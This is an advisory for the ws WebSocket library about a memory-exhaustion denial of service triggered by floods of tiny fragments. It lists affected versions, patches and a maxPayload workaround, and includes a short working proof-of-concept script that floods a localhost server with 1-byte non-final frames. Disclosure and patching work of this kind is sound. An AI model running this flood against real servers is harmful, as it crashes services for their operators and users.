ws: Memory exhaustion DoS from tiny fragments and data chunks
Affected releases · ws
- 8.x8.0.0 – 8.20.1Fixed in 8.21.0
- 7.x7.0.0 – 7.5.10Fixed in 7.5.11
- 6.x6.0.0 – 6.2.3Fixed in 6.2.4
- 5.x5.0.0 – 5.2.4Fixed in 5.2.5
- 4.x and older1.1.0 – 4.1.0No fix, no longer updated
On 8.x, the newest line:
npm install ws@8.21.0Affected
8.0.0 – 8.20.1
36 releases
Fixed
8.21.0 – 8.22.0
5 releases, latest
Affected
7.0.0 – 7.5.10
30 releases
Fixed
7.5.11 – 7.5.13
3 releases
Affected
6.0.0 – 6.2.3
10 releases
Fixed
6.2.4 – 6.2.6
3 releases
Affected
5.0.0 – 5.2.4
8 releases
Fixed
5.2.5 – 5.2.7
3 releases
Affected
4.0.0 – 4.1.0
2 releases
Affected
3.0.0 – 3.3.3
7 releases
Affected
2.0.0 – 2.3.1
11 releases
Not affected
1.0.0 – 1.0.1
2 releases
Affected
1.1.0 – 1.1.5
6 releases
Is your project affected?
Paste your package.json, or type the range you declare for ws. It is read in your browser and sent nowhere.
What happens
Impact
A high volume of exceptionally small fragments and data chunks can be sent by a peer, with modest network traffic, to force the remote peer into allocating and holding structural wrappers that consume far more memory than the default documented message-size limit, leading to process termination due to OOM.
Proof of concept
import { WebSocket, WebSocketServer } from 'ws';
const wss = new WebSocketServer({ port: 0 }, function () {
const data = Buffer.alloc(1);
const options = { fin: false };
const { port } = wss.address();
const ws = new WebSocket(`ws://localhost:${port}`);
ws.on('open', function () {
(function send() {
ws.send(data, options, function (err) {
if (err) return;
send();
});
})();
});
ws.on('error', console.error);
ws.on('close', function (code, reason) {
console.log(`client close - code: ${code} reason: ${reason.toString()}`);
});
});
wss.on('connection', function (ws) {
ws.on('error', console.error);
ws.on('close', function (code, reason) {
console.log(`server close - code: ${code} reason: ${reason.toString()}`);
});
});Patches
The vulnerability was fixed in ws@8.21.0 (bca91ad) and backported to ws@7.5.11 (fd36cd8), ws@6.2.4 (86d3e8a), and ws@5.2.5 (b5372ac).
Workarounds
In vulnerable versions, the issue can be mitigated by lowering the value of the maxPayload option if possible.
Credits
The vulnerability was responsibly disclosed and fixed by Nadav Magier.